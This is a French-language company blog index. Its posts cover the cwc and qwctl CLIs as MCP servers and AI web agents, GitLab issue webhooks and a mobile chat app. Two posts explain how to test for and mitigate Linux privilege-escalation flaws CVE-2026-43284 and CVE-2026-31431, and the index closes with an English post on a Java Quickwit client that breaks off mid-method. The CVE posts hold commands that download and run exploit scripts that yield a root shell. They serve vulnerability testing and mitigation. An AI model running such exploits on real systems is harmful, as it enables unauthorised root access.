Aller au contenu principal
Idriss Neumann
founder cwcloud.tech
View All Authors

La CLI de Quickwit comme agent web IA pour CWCloud et Gitlab

· 4 minutes de lecture
Idriss Neumann
founder cwcloud.tech
attention

qwctl est Open Source, mais pour les instances on-premises de CWCloud, vous devez disposer de l'Enterprise Edition (EE) pour utiliser les fonctionnalités d'agent IA. Merci de nous contacter pour plus d'informations.

Comme expliqué dans notre précédent blogpost, nous continuons à agentiser chaque pilier du platform engineering afin de pouvoir interagir via le chat, les fonctions serverless ou des webhooks de tickets qui déclenchent des prompts. Et l'un de ces piliers est l'observabilité.

Comme vous avez pu le voir dans plusieurs blogposts, nous travaillons aussi étroitement avec Quickwit depuis quelques années et nous contribuons à leur CLI, qwctl. Cette CLI est construite sur le modÚle de notre propre CLI cwc, avec un serveur MCP et un agent interactif embarqué.

Voici une démo de l'utilisation de qwctl comme serveur MCP et agent web :

Dans ce blogpost, nous allons voir comment utiliser qwctl comme agent web externe compatible avec l'API CWAI, ainsi que comme webhook GitLab.

D'abord, voici comment lancer la CLI qwctl en mode agent web :

$ qwctl ai web-agent

Nous pouvons aussi spécifier le port et l'adresse d'écoute :

$ qwctl ai web-agent -a 0.0.0.0 -p 8081 -s http://localhost:8080/mcp

Ensuite, nous pouvons envoyer une requĂȘte HTTP POST vers l'agent web :

$ curl -X POST http://localhost:8081 -H "Content-Type: application/json" -d '{ "settings": { "max_tokens": 500 }, "message": "Hello"}'

L'agent web répondra ainsi (en respectant le contrat external adapter) :

{
"status": "ok",
"message": "Hello! How can I assist you today?",
"usage": {
"prompt_tokens": 8,
"completion_tokens": 10,
"total_tokens": 18
}
}

Pour hĂ©berger la CLI comme serveur MCP et agent web en mĂȘme temps, voici un exemple de fichier docker compose :

services:
qwctl_mcp:
image: "rg.fr-par.scw.cloud/cwcloud-ce-u7u1q0/cwc:1.19.13"
restart: always
container_name: qwctl_mcp
env_file:
- .env.qwctl
volumes:
- "/etc/ssl/certs/ca-bundle.crt:/etc/ssl/certs/ca-bundle.crt:ro"
- "/etc/ssl/certs/ca-bundle.trust.crt:/etc/ssl/certs/ca-bundle.trust.crt:ro"
command: ["ai", "mcp", "-l", "0.0.0.0", "-p", "8080"]
networks:
- cwc_network
qwctl_agent:
image: "rg.fr-par.scw.cloud/cwcloud-ce-u7u1q0/cwc:1.19.13"
restart: always
container_name: qwctl_agent
env_file:
- .env.qwctl
volumes:
- "/etc/ssl/certs/ca-bundle.crt:/etc/ssl/certs/ca-bundle.crt:ro"
- "/etc/ssl/certs/ca-bundle.trust.crt:/etc/ssl/certs/ca-bundle.trust.crt:ro"
command: ["ai", "web-agent", "-a", "0.0.0.0", "-p", "8081", "-s", "http://qwctl_mcp:8080"]
ports:
- "8081:8081"
networks:
- qwctl_network

networks:
qwctl_network:
driver: bridge

Dans le .env.qwctl, vous pouvez définir toutes les variables d'environnement nécessaires pour la CLI qwctl, comme la clé API et le modÚle par défaut à utiliser. Vous pouvez consulter cette documentation pour plus de détails.

Adaptateur IA externe pour CWCloud

Nous pouvons ensuite ajouter l'agent web en tant qu'external adapter :

qwctl-external-adapter

Puis l'utiliser avec le chat de CWAI :

qwctl-web-agent-chat

Ou avec l'application mobile :

qwctl-web-agent-mobile-chat

Vous pouvez aussi appeler l'agent dans une fonction serverless :

qwctl-web-agent-faas

Webhook GitLab

D'abord, nous devons configurer qwctl avec les variables d'environnement suivantes :

  • QWCTL_AGENT_NAME : le nom de l'agent qui sera utilisĂ© comme dĂ©clencheur (ex. : qwctl pour ĂȘtre dĂ©clenchĂ© par des commentaires contenant !qwctl dans les issues GitLab)
  • QWCTL_GITLAB_TOKEN : un token GitLab avec les permissions pour publier des commentaires sur les issues
  • QWCTL_GITLAB_BASE_URL : l'URL de l'instance GitLab (ex. : https://gitlab.cwcloud.tech)

Bien sûr, vous pouvez aussi utiliser la commande CLI configure comme ceci :

$ qwctl configure set agent_name cwc-prod
$ qwctl configure set gitlab_token <your_gitlab_token>
$ qwctl configure set gitlab_base_url https://gitlab.cwcloud.tech

Ensuite, vous devez configurer le webhook dans GitLab comme ceci :

gitlab-webhooks

gitlab-webhook-config

Comme vous pouvez le voir, nous avons configuré le chemin d'endpoint /gitlab et nous avons également défini un header Authorization via notre reverse proxy. Cependant, l'agent web supporte aussi le secret de webhook GitLab pour l'authentification (c'est optionnel, mais il faut mettre en place une authentification d'une façon ou d'une autre).

Et enfin, voici ce que nous obtenons dans les issues GitLab lorsque nous commentons !qwctl :

gitlab-issue-agent-qwctl

Conclusion

Ce billet illustre notre vision du platform engineering en 2026 : des agents qui suivent des instructions depuis les systĂšmes de tickets, les pipelines CI/CD, les fonctions serverless, etc.

Pour l'instant, nos agents répondent seulement à des instructions venant des tickets, du chat ou de l'application mobile, mais la CLI exposant aussi un serveur MCP sera réutilisée pour des agents plus avancés, capables de raisonnements et d'analyses plus complexes dans le futur.

CWCloud AI Chat sur mobile

· 2 minutes de lecture
Idriss Neumann
founder cwcloud.tech

Toujours dans l'optique de rendre les fonctionnalitĂ©s de CWCloud accessibles rapidement et partout avec nos agents IA, nous fournissons dĂ©sormais une application mobile pour interagir avec l'API CWAI qui elle mĂȘme permet d'invoquer notre web agent comme dĂ©montrĂ© dans ce blogpost.

L'application est disponible en mode web sur chat.cwcloud.tech et est aussi téléchargeable pour Android en cliquant sur le bouton "Download" entourée en rouge ci-dessous:

cwc-chat-mobile

attention

L'application mobile est OpenSource et disponible sur notre gitlab mais pour consommer l'api CWAI, vous devrez disposer de l'édition Enterprise (EE). Merci de nous contacter pour plus d'informations.

Ensuite, vous pouvez vous connecter avec une clef d'API et la configurer en cliquant sur le bouton "Configure" ou "Settings" entouré en rouge ci-dessous:

cwc-chat-credentials

Sur la version mobile il est possible de directement scanner le QR code de la clef d'API pour la configurer automatiquement en passant par la console comme ceci :

cwc-chat-credentials-qr-1

Puis :

cwc-chat-credentials-qr-2

Et enfin vous pourrez discuter avec les différents modÚles et agents interfacés avec les adaptateurs externes de CWCloud :

cwc-chat-prompt

Conclusion : comme évoqué dans notre précédent blogpost, il semble toujours trÚs important pour l'expérience utilisateur que les agents IA affichent des commandes CLI répétables et compréhensibles. Encore davantage sur mobile, afin de pouvoir partager des captures d'écran avec d'autres personnes durant des incidents de production.

Agent IA CWCloud comme webhook Gitlab pour les commentaires d'issues

· 2 minutes de lecture
Idriss Neumann
founder cwcloud.tech
attention

La CLI cwc est OpenSource mais pour les instances on-premises de CWCloud, vous devrez disposer de l'édition Enterprise (EE) pour utiliser les fonctionnalités d'agent IA. Merci de nous contacter pour plus d'informations.

Dans notre précédent blogpost, nous avons expliqué comment utiliser la CLI cwc comme agent web et comment l'utiliser dans les fonctionnalités CWAI comme le chat ou le moteur FaaS.

Dans ce blogpost, nous allons voir comment utiliser la CLI cwc comme agent web en tant que webhook Gitlab déclenché par les commentaires d'issues et des mots-clés.

Commençons par configurer cwc avec les variables d'environnement suivantes :

  • CWC_AGENT_NAME : le nom de l'agent qui sera utilisĂ© comme dĂ©clencheur (ex. : cwc-prod pour ĂȘtre dĂ©clenchĂ© par des commentaires contenant !cwc-prod dans les issues Gitlab)
  • CWC_GITLAB_TOKEN : un token Gitlab avec la permission de publier des commentaires sur les issues
  • CWC_GITLAB_BASE_URL : l'URL de l'instance Gitlab (ex. : https://gitlab.cwcloud.tech)

Vous pouvez également utiliser la commande cwc configure comme ceci :

$ cwc configure set agent_name cwc-prod
$ cwc configure set gitlab_token <your_gitlab_token>
$ cwc configure set gitlab_base_url https://gitlab.cwcloud.tech

Ensuite, vous devrez configurer le webhook dans Gitlab comme ceci :

gitlab-webhooks

gitlab-webhook-config

Comme vous pouvez le voir, nous avons configuré l'endpoint /gitlab et nous avons aussi défini un header Authorization attendu par notre reverse proxy pour server l'agent. Néammoins, l'agent web supporte aussi le webhook secret de Gitlab pour l'authentification (c'est optionnel, mais faites attention à bien configurer une authentification d'une maniÚre ou d'une autre).

Et donc, voici ce que nous obtenons dans les issues Gitlab quand nous commentons !{agent name} :

gitlab-issue-agent

attention

Encore une fois, faites attention Ă  ce que vous allez demander dans vos prompts. Dans la prochaine version, nous ajouterons un mode de confirmation dans notre agent.

En conclusion, les utilisateurs peuvent travailler et intervenir en production tout en restant dans le tableau central des tickets.

Agent IA CWCloud comme adaptateur RESTful pour l'API CWAI

· 2 minutes de lecture
Idriss Neumann
founder cwcloud.tech
attention

La CLI cwc est OpenSource mais pour les instances on-premises de CWCloud, vous devrez disposer de l'édition Enterprise (EE) pour utiliser les fonctionnalités d'agent IA. Merci de nous contacter pour plus d'informations.

Dans notre blogpost précédent, nous avions présenté le serveur MCP et l'agent IA CWCloud. Nous avions expliqué comment nous avons implémenté le serveur MCP et comment l'utiliser avec un agent IA en mode CLI.

Dans cet article, nous allons voir cette fois comment utiliser cwc comme adaptateur web externe compatible avec l'API CWAI.

Tout d'abord, voici comment démarrer la CLI cwc en tant qu'agent web :

$ cwc ai web-agent

On peut aussi préciser le port et l'adresse d'écoute :

$ cwc ai web-agent -a 0.0.0.0 -p 8081 -s http://localhost:8080/mcp

Ensuite, on peut envoyer une requĂȘte HTTP POST Ă  l'agent web comme ceci :

$ curl -X POST http://localhost:8081 -H "Content-Type: application/json" -d '{ "settings": { "max_tokens": 500 }, "message": "Hello"}'

L'agent web répondra ainsi (en respectant le contrat de l'adaptateur externe) :

{
"status": "ok",
"message": "Hello! How can I assist you today?",
"usage": {
"prompt_tokens": 8,
"completion_tokens": 10,
"total_tokens": 18
}
}

Pour hĂ©berger la CLI comme serveur MCP et agent web en mĂȘme temps, voici un exemple de fichier docker compose :

services:
cwc_mcp:
image: "rg.fr-par.scw.cloud/cwcloud-ce-u7u1q0/cwc:1.19.13"
restart: always
container_name: cwc_mcp
env_file:
- .env.cwc
volumes:
- "/etc/ssl/certs/ca-bundle.crt:/etc/ssl/certs/ca-bundle.crt:ro"
- "/etc/ssl/certs/ca-bundle.trust.crt:/etc/ssl/certs/ca-bundle.trust.crt:ro"
command: ["ai", "mcp", "-l", "0.0.0.0", "-p", "8080"]
networks:
- cwc_network
cwc_agent:
image: "rg.fr-par.scw.cloud/cwcloud-ce-u7u1q0/cwc:1.19.13"
restart: always
container_name: cwc_agent
env_file:
- .env.cwc
volumes:
- "/etc/ssl/certs/ca-bundle.crt:/etc/ssl/certs/ca-bundle.crt:ro"
- "/etc/ssl/certs/ca-bundle.trust.crt:/etc/ssl/certs/ca-bundle.trust.crt:ro"
command: ["ai", "web-agent", "-a", "0.0.0.0", "-p", "8081", "-s", "http://cwc_mcp:8080"]
ports:
- "8081:8081"
networks:
- cwc_network

networks:
cwc_network:
driver: bridge

Dans .env.cwc, vous pouvez définir toutes les variables d'environnement nécessaires pour la CLI cwc, comme la clé API et le modÚle par défaut à utiliser. Vous pouvez vous référer à cette documentation pour plus de détails.

On peut ensuite ajouter l'agent web comme adaptateur externe :

cwc-external-adapter

Puis l'utiliser avec le chat de CWAI :

cwc-web-agent-chat

Et bien sûr, vous pourrez aussi l'utiliser dans le moteur FaaS comme ceci :

cwc-web-agent-faas

Et voilĂ  comment utiliser l'agent web cwc comme adaptateur externe pour CWAI !

Serveur MCP et agent IA avec CWCloud

· 5 minutes de lecture
Idriss Neumann
founder cwcloud.tech

Vous vous demandez peut-ĂȘtre pourquoi nous parlons toujours de MCP1 en 2026 alors que beaucoup de monde affirme que ce n'est plus utile parce que les agents IA peuvent facilement utiliser la CLI ce qui Ă©vite d'avoir Ă  faire une double maintenance.

C'est la principale raison pour laquelle il nous a fallu si longtemps pour livrer un serveur MCP : nous maintenons déjà la CLI cwc2 et ne voulions pas dupliquer le travail en maintenant à la fois une CLI et un serveur MCP.

cli

Initialement, nous avions essayĂ© de regrouper toutes les fonctionnalitĂ©s de la CLI dans des packages Go qui pourraient ĂȘtre inclus dans le serveur MCP. Cependant, nous nous sommes vite rendu compte que c'Ă©tait beaucoup de travail et nĂ©cessiterait de maintenir les deux artefacts Ă  chaque fois que nous ajouterions une nouvelle fonctionnalitĂ©.

AprÚs quelques tentatives, nous nous sommes rendu compte que nous pouvions générer dynamiquement le serveur MCP avec les définitions d'outils directement à partir de la CLI, qui est implémentée en Go et Cobra. De cette façon, nous pouvions calculer toutes les définitions d'outils à partir de la documentation de la CLI et générer le serveur MCP à la volée sans maintenir deux codebases séparés.

ai-cwc

Encore mieux : les développeurs peuvent ajouter des sous-commandes et le serveur MCP les utilisera dynamiquement sans aucun travail supplémentaire.

Et voilà, cela fonctionne simplement en lançant cette sous-commande pour démarrer le serveur MCP :

$ cwc ai mcp
Starting cwc MCP server on http://127.0.0.1:8080/mcp

Evidemment, vous pouvez changer le port et l'adresse d'écoute comme ceci :

$ cwc ai mcp -p 8081 -l 0.0.0.0
Starting cwc MCP server on http://0.0.0.0:8081/mcp

Et nous avons un outil list_mcp_dynamic_tools qui liste tous les outils disponibles sur le serveur.

Maintenant vous vous demandez peut-ĂȘtre "OK, c'est bien, mais pourquoi devrais-je utiliser un serveur MCP au lieu de la CLI directement avec un agent ?". Selon nous, MCP et agents ne sont pas antinomiques et peuvent ĂȘtre utilisĂ©s ensemble. Nous pensons que fournir des outils MCP pour vos agents nĂ©cessite moins d'effort de votre cĂŽtĂ© qu'implĂ©menter un agent qui appelle la CLI et en parse la sortie.

Bien entendu, nous fournissons aussi un moyen de créer des agents capables d'appeler le serveur MCP avec la commande cwc ai agent :

$ cwc ai agent -p "your prompt"

La commande fonctionne avec gpt4omini d'OpenAI par défaut mais supporte également tous les modÚles d'OpenAI, Anthropic, Google Gemini, Deepseek ou OpenRouter (qui fournit les modÚles open-source de Meta) :

$ cwc ai agent -p "your prompt" --provider openrouter --model "meta-llama/llama-3.3-70b-instruct"

Voici une démo sur comment utiliser le serveur MCP avec un agent pour lister les projets et les instances ainsi que les outils MCP disponibles :

demo

Notes :

  • Vous pouvez faire des demandes dans une autre langue, par exemple en Français, comme montrĂ© dans la dĂ©mo.
  • Vous devez exposer le serveur MCP dans un terminal sĂ©parĂ©. Cela vous permet de cibler un serveur MCP distant en utilisant le drapeau -s (nous ajouterons l'authentification plus tard) :
    cwc ai agent -p "list me the projects" -s "http://127.0.0.1:8081/mcp"
  • La documentation complĂšte est disponible ici.
attention

N'oubliez pas que la CLI peut également mettre à jour ou supprimer des ressources comme les instances, les moniteurs, les projets et toutes les autres. Donc soyez prudent avec vos prompts !

La cli fourni Ă©galement un mode interactif/REPL3 pour l'agent qui permet d'exĂ©cuter plusieurs prompts dans la mĂȘme session (avec le flag -i ou --interactive) :

$ cwc ai agent -i
Using model: gpt-4o-mini (provider: openai)
Interactive mode enabled. Type your prompt and press Enter.
Type 'exit' or 'quit' to leave.
> get me the monitors
> list me all the available MCP tools

Démonstration :

demo-agent-repl

Conclusion : on anticipe le fait que les agents IA sont le futur visage du platform engineering. Il nous paraßt donc important dans ce contexte que ceux-ci soient embarqués dans votre CLI et privilégient d'invoquer des commandes répétables et compréhensibles (afin de les faire confirmer par l'humain) plutÎt que des tools MCP opaques qui seraient directement associés à la définition de vos endpoints d'API ou SDK (qui eux ne sont généralement pas répétables facilement).

En outre, le fait d'avoir choisi de proposer un serveur MCP et un Agent dans le mĂȘme binaire que la CLI mais qui s'exĂ©cutent dans des processus diffĂ©rents permet de proposer des agents fonctionnants d'exĂ©cution simple qui fonctionnent avec les modĂšles les moins puissants et moins chers du marchĂ© tels que gpt-4o-mini, mistral-small, gemini-1.5-flash, deepseek (le moins cher) ou encore llama auto-hĂ©bergĂ©. En effet, ces agents n'ont pas besoin de beaucoup de capacitĂ© de raisonnement pour interprĂ©ter du langage et le transformer en invocation de ligne de commande en sĂ©lectionant le bon tool MCP. Mais cela permet Ă©galement de pouvoir invoquer ce mĂȘme serveur MCP dans des agents plus complexes qui fonctionnent avec des modĂšles plus puissants qui produiraient du raisonnement et des workflows de troubleshooting plus avancĂ©s couplĂ© avec Ă©ventuellement d'autres serveurs MCP pour les outils d'observabilitĂ© par exemple.

On ajoutera probablement bien d'autres fonctionnalités donc restez à l'écoute !

Footnotes​

  1. MCP signifie "Model-Context Protocol" documentĂ© ici. ↩

  2. Vous pouvez trouver ici la documentation d'installation pour cwc avec notre systĂšme d'exploitation. ↩

  3. REPL signifie "Read-Eval-Print Loop", une interface interactive permettant d'exĂ©cuter des commandes et de voir les rĂ©sultats en temps rĂ©el. ↩

CVE-2026-43284 Dirty Frag mitigation

· 3 minutes de lecture
Idriss Neumann
founder cwcloud.tech

AprÚs copyfail, voici une nouvelle vulnérabilité majeure découverte par Hyunwoo Kim (@v4bel) utilisant l'IA et connue sous le nom de "Dirty Frag" (CVE-2026-43284) qui permet à un utilisateur non root d'escalader ses privilÚges et de devenir root.

Nous fournissons une démo que vous pouvez utiliser pour tester si votre systÚme est vulnérable à ce problÚme.

attention

N'utilisez pas ce code sur des systÚmes que vous ne possédez pas ou pour lesquels vous n'avez pas explicitement la permission de tester.

Tester la vulnĂ©rabilité​

Sur une machine locale​

Avec les privilÚges root, exécutez la commande suivante pour installer les dépendances nécessaires (si elles ne sont pas déjà installées) :

root# dnf install git gcc -y

Puis sans privilÚges root, exécutez les commandes suivantes pour cloner le dépÎt et compiler l'exploit :

$ git clone https://gitlab.cwcloud.tech/oss/cybersec/dirtyfrag.git
$ cd dirtyfrag
$ gcc -O0 -Wall -o dirtyfrag-demo demo.c
$ ./dirtyfrag-demo
root#

Vous pouvez également tester rapidement avec ce script :

$ curl https://gitlab.cwcloud.tech/oss/cybersec/dirtyfrag/-/raw/main/dirtyfrag-demo.sh > dirtyfrag-demo.sh
$ chmod +x dirtyfrag-demo.sh
$ ./dirtyfrag-demo.sh
root#

Démo avec AlmaLinux :

dirtyfrag-demo

attention

AprÚs avoir exécuté l'exploit, vous devez soit exécuter cette commande (avec les privilÚges root), soit redémarrer le systÚme :

root# echo 3 > /proc/sys/vm/drop_caches

Avec docker compose​

Contrairement Ă  CopyFail, cette faille ne semble pas affecter les conteneurs OCI/docker utilisant les images basĂ©es sur les principales distributions comme Ubuntu, Alpine ou mĂȘme AlmaLinux. Vous pouvez le tester avec les commandes suivantes :

$ git clone https://gitlab.cwcloud.tech/oss/cybersec/dirtyfrag.git >/dev/null 2>&1
$ cd dirtyfrag/
$ docker compose up -d alpine --build --force-recreate > /dev/null 2>&1 && docker logs dirtyfrag-alpine
dirtyfrag: failed (rc=1)
$ docker compose up -d ubuntu --build --force-recreate > /dev/null 2>&1 && docker logs dirtyfrag-ubuntu
dirtyfrag: failed (rc=1)
$ docker compose up -d almalinux --build --force-recreate > /dev/null 2>&1 && docker logs dirtyfrag-almalinux
dirtyfrag: failed (rc=1)

Démo sur un hÎte vulnérable :

dirtyfrag-docker

Mitigation​

Afin de décharger les modules avec modprob, vous pouvez exécuter ce script avec les privilÚges root :

root# curl https://gitlab.cwcloud.tech/oss/cybersec/dirtyfrag/-/raw/main/dirtyfrag-mitigation.sh > dirtyfrag-mitigation.sh
root# chmod +x dirtyfrag-mitigation.sh
root# ./dirtyfrag-mitigation.sh
root# /sbin/reboot
attention

Vous devez redémarrer le systÚme aprÚs avoir exécuté le script de mitigation. Vous pouvez voir dans la démo ci-dessous que le systÚme reste vulnérable jusqu'au redémarrage :

dirtyfrag-mitigation

Conclusion​

Avec l'IA, nous pouvons nous attendre à ce que beaucoup de vulnérabilités de ce type soient découvertes dans le futur, et il est important de les surveiller et d'appliquer les mitigations nécessaires dÚs que possible vu leur criticité.

Dans ce cas, la mitigation est assez simple et ne nécessite pas de mise à jour du noyau, mais ce n'est pas le cas pour d'autres vulnérabilités (comme CopyFail).

Autres sources et rĂ©fĂ©rences​

CVE-2026-31431 copyfail mitigation

· 3 minutes de lecture
Idriss Neumann
founder cwcloud.tech

RĂ©cemment, Xint a divulguĂ© une vulnĂ©rabilitĂ© trĂšs critique dans le noyau Linux, CVE-2026-31431, qui permet aux attaquants locaux d'obtenir des privilĂšges root. Plus de dĂ©tails sur le fonctionnement de cette vulnĂ©rabilitĂ© peuvent ĂȘtre trouvĂ©s dans le blogpost de Xint.

Nous fournissons une démo que vous pouvez utiliser pour tester si votre systÚme est vulnérable.

attention

N'utilisez pas ce code sur des systÚmes que vous ne possédez pas ou pour lesquels vous n'avez pas explicitement la permission de tester.

attention

Faites attention Ă  backuper votre binaire su original, car cet exploit le modifie.

Tester la vulnĂ©rabilité​

Sur une machine locale​

Tout d'abord, assurez-vous de sauvegarder le binaire su sur votre systĂšme, car cet exploit peut le modifier :

root# cp /usr/bin/su /usr/bin/su.bak

Ensuite, avec un utilisateur non root, exécutez les commandes suivantes pour lancer le script d'exploitation :

user$ curl https://gitlab.cwcloud.tech/oss/cybersec/cve-2026-31431-demo/-/raw/main/cve-2026-31431.py > cve-2026-31431.py
user$ python3 cve-2026-31431.py
root#

Ensuite, restaurez le binaire su original :

root# mv /usr/bin/su.bak /usr/bin/su

Avec docker compose​

Il est souvent préférable d'utiliser des conteneurs pour une isolation plus sûre sans contaminer votre binaire su :

$ git clone https://gitlab.cwcloud.tech/oss/cybersec/cve-2026-31431-demo.git
$ cd cve-2026-31431-demo
$ docker compose up -d --build --force-recreate
$ docker exec -it cve-2026-31431 /bin/bash
demo@8536b73279be:/app$ su -
#

Mitigation​

Xint a fourni un moyen de mitiger cette vulnérabilité pour plusieurs distributions, y compris Debian ou Ubuntu :

root# echo 3 > /proc/sys/vm/drop_caches
root# echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.conf
root# rmmod algif_aead 2>/dev/null || true

Cependant, en raison du 2>/dev/null || true, beaucoup de monde ne semble pas conscient que la mitigation ne fonctionne pas sur toutes les distributions, et en particulier sur les distributions basées sur RHEL (qui ont ce module compilé en tant que builtin dans le kernel), et manquent le message d'erreur suivant :

rmmod: ERROR: Module algif_aead module is builtin.

Voici une démonstration montrant que la mitigation ne fonctionne pas sur Almalinux :

cve-2026-31431 mitigation

Et malheureusement, toutes les mitigations pour ces distributions impliquent un redémarrage. Voici l'une des plus simples jusqu'à ce qu'un nouveau correctif du noyau soit publié :

root# grubby --update-kernel=ALL --args="initcall_blacklist=algif_aead_init"
root# reboot

Voici une dĂ©monstration de la mitigation fonctionnant sur le mĂȘme systĂšme Almalinux (aprĂšs avoir restaurĂ© le binaire su original) :

cve-2026-31431 mitigation

Autres sources et rĂ©fĂ©rences​

Using quickwit as a web search engine in your website

· 11 minutes de lecture
Idriss Neumann
founder cwcloud.tech

Happy new year 2026 🎉 . Let's hope this year will be full of professional and personal success for everyone.

Twelve years ago, a long time before the creation of CWCloud, we launched uprodit.com, a social network dedicated to Tunisian freelancers.

The platform was developed in Java, using the Spring framework, Tomcat, and Vert.x later. One of our main ambitions was to build an intelligent search engine capable of leveraging the information users freely entered in their profiles. At the time, achieving this level of flexibility and relevance was extremely challenging with traditional relational databases RDBMS1.

uprodit-search-engine

That's why it was my second experience with Elasticsearch in production (before the product focused on observability area) after few years with Apache SolR and it worked like a charm.

After the launch of CWCloud, uprodit migrated from physical servers to Scaleway instances using CWCloud. At the same time, we started modernizing the backend by adopting container-based architectures. However, the cost of maintaining an Elasticsearch cluster gradually became too expensive for the organization. Here was the technical architecture of the project at that time:

uprodit-old-arch

One year ago, we started working with Quickwit2 and replaced our entire observability and monitoring stack with it. This included logs, traces, Prometheus metrics, and even web analytics.

Although Quickwit wasn't originally designed to serve as a web search engine, our experience with metrics and analytics showed that it could effectively meet our needs while significantly reducing infrastructure costs (because of the less amount of RAM consumption and the fact that the indexed data are stored on object storage).

As you may know, since we mentioned it in a previous blog post, Quickwit provides an _elastic endpoint that is interoperable with the Elasticsearch and OpenSearch APIs. The idea, therefore, was to replace Elasticsearch while keeping the existing Vert.x Java code with minimal changes, like this:

uprodit-new-arch

In other words, we wanted to keep the Elasticsearch client library to build the queries dynamically with the Elasticsearch DSL3. In this blog post, we'll detail the few key point to succeed the migration.

Keeping the Elasticsearch client library​

As we mentioned before we wanted to have the less code rewriting possible, so we choose to keep the Elasticsearch client library to benefit from the DSL builder. Here's the maven dependancy (in the pom.xml file):

<dependency>
<groupId>co.elastic.clients</groupId>
<artifactId>elasticsearch-java</artifactId>
<version>9.2.4</version>
</dependency>

Creating the Quickwit client​

We created a IQuickwitService interface because we may have multiple implementations using other http client later:

package tn.prodit.network.se.utils.singleton.quickwit;

import io.vertx.core.json.JsonObject;

import java.io.Serializable;

public interface IQuickwitService {
<T extends Serializable> void index(String index, String id, T document);

<T extends Serializable> void delete(String index, String id);

String search(String indeix, JsonObject query);
}

Then the default implementation using both Vert.x asynchronous http client for the write methods (index and delete) and default java http client for the search method.

import io.vertx.core.Vertx;
import io.vertx.core.http.HttpClient;
import io.vertx.core.http.HttpClientOptions;
import io.vertx.core.http.HttpClientResponse;
import io.vertx.core.http.HttpMethod;
import io.vertx.core.json.JsonObject;

import tn.prodit.network.se.utils.singleton.IPropertyReader;
import tn.prodit.network.se.utils.singleton.quickwit.IQuickwitService;
import tn.prodit.network.se.utils.singleton.quickwit.QuickwitTimeout;

import jakarta.inject.Inject;
import jakarta.inject.Singleton;

import java.net.URI;
import java.net.http.HttpRequest;
import java.net.http.HttpResponse;
import java.nio.charset.StandardCharsets;
import java.time.Duration;
import java.util.Arrays;
import java.util.Base64;

import static org.apache.commons.lang3.StringUtils.isBlank;

@Singleton
public class QuickwitService implements IQuickwitService {
private static final Logger LOGGER = LogManager.getLogger(QuickwitService.class);

@Inject
private IPropertyReader reader;

@Inject
private Vertx vertx;

private HttpClient client;

private java.net.http.HttpClient syncClient;

private String basicAuth;

private QuickwitTimeout timeout;

private String uri;

private QuickwitTimeout getTimeout() {
if (null == this.timeout) {
this.timeout = QuickwitTimeout.load(reader);
}

return this.timeout;
}

public String getUri() {
if (null == this.uri) {
String host = reader.getQuietly(APP_CONFIG_FILE, QW_KEY_HOST);
Integer port = reader.getIntQuietly(APP_CONFIG_FILE, QW_KEY_PORT);
String scheme = reader.getBoolQuietly(APP_CONFIG_FILE, QW_KEY_TLS) ? "https" : "http";
this.uri = String.format("%s://%s:%s", scheme, host, port);
}
return this.uri;
}

private java.net.http.HttpClient getSyncClient() {
if (null == this.syncClient) {
QuickwitTimeout timeout = getTimeout();
this.syncClient = java.net.http.HttpClient.newBuilder()
.connectTimeout(Duration.ofMillis(timeout.getConnectTimeout()))
.followRedirects(java.net.http.HttpClient.Redirect.NORMAL).build();
}
return this.syncClient;
}

private HttpClient getClient() {
if (null == this.client) {
String host = reader.getQuietly(APP_CONFIG_FILE, QW_KEY_HOST);
Integer port = reader.getIntQuietly(APP_CONFIG_FILE, QW_KEY_PORT);
Boolean tls = reader.getBoolQuietly(APP_CONFIG_FILE, QW_KEY_TLS);
QuickwitTimeout timeout = getTimeout();

this.client = vertx.createHttpClient(new HttpClientOptions().setDefaultHost(host)
.setDefaultPort(port).setSsl(tls).setConnectTimeout(timeout.getConnectTimeout())
.setReadIdleTimeout(timeout.getReadTimeoutInSec()));
}
return this.client;
}

private String getBasicAuth() {
if (isBlank(this.basicAuth)) {
String user = reader.getQuietly(APP_CONFIG_FILE, QW_KEY_USER);
String password = reader.getQuietly(APP_CONFIG_FILE, QW_KEY_PASSWORD);
this.basicAuth = String.format("Basic %s", Base64.getEncoder().encodeToString(String.format("%s:%s", user, password).getBytes(StandardCharsets.UTF_8)));
}

return this.basicAuth;
}

@Override
public <T extends Serializable> void index(String index, String id, T document) {
String url = String.format("/api/v1/%s/ingest", index);
getClient().request(HttpMethod.POST, url, ar -> {
if (ar.failed()) {
LOGGER.error("[quickwit][index] Request creation failure: " + ar.cause().getMessage(),
ar.cause());
return;
}

JsonObject payload = JsonObject.mapFrom(document);
ar.result().putHeader("Content-Type", "application/json")
.putHeader("Accept", "application/json").putHeader("Authorization", getBasicAuth())
.send(payload.toBuffer(), resp -> {
if (resp.failed()) {
LOGGER.error("[quickwit][index] Request sending failure: " + ar.cause().getMessage(), ar.cause());
return;
}

HttpClientResponse response = resp.result();
response.bodyHandler(body -> {
String logMessage = String.format("[quickwit][index] response url = %s, code = %s, body = %s, payload = %s", url, response.statusCode(), body.toString(), payload);
if (response.statusCode() < 200 || response.statusCode() >= 400) {
LOGGER.error(logMessage);
} else {
LOGGER.debug(logMessage);
}
});
});
});
}

@Override
public <T extends Serializable> void delete(String index, String id) {
String url = String.format("/api/v1/%s/delete-tasks", index);
getClient().request(HttpMethod.POST, url, ar -> {
if (ar.failed()) {
LOGGER.error("[quickwit][delete] Request creation failure: " + ar.cause().getMessage(), ar.cause());
return;
}

JsonObject payload = new JsonObject();
payload.put("query", "id:" + id);
payload.put("search_fields", Arrays.asList("id"));
ar.result().putHeader("Content-Type", "application/json")
.putHeader("Accept", "application/json").putHeader("Authorization", getBasicAuth())
.send(payload.toBuffer(), resp -> {
if (resp.failed()) {
LOGGER.error("[quickwit][delete] Request sending failure: " + ar.cause().getMessage(), ar.cause());
return;
}

HttpClientResponse response = resp.result();
response.bodyHandler(body -> {
String logMessage = String.format("[quickwit][delete] response url = %s, code = %s, body = %s, payload = %s", url, response.statusCode(), body.toString(), payload);

if (response.statusCode() < 200 || response.statusCode() >= 400) {
LOGGER.error(logMessage);
} else {
LOGGER.debug(logMessage);
}
});
});
});
}

@Override
public String search(String index, JsonObject query) {
String path = String.format("/api/v1/_elastic/%s/_search", index);
HttpRequest request =
HttpRequest.newBuilder().timeout(Duration.ofMillis(getTimeout().getReadTimeout()))
.uri(URI.create(String.format("%s%s", getUri(), path)))
.header("Content-Type", "application/json").header("Accept", "application/json")
.header("Authorization", getBasicAuth())
.POST(HttpRequest.BodyPublishers.ofString(query.toString())).build();
try {
HttpResponse<String> response =
getSyncClient().send(request, HttpResponse.BodyHandlers.ofString());
return response.body();
} catch (IOException | InterruptedException e) {
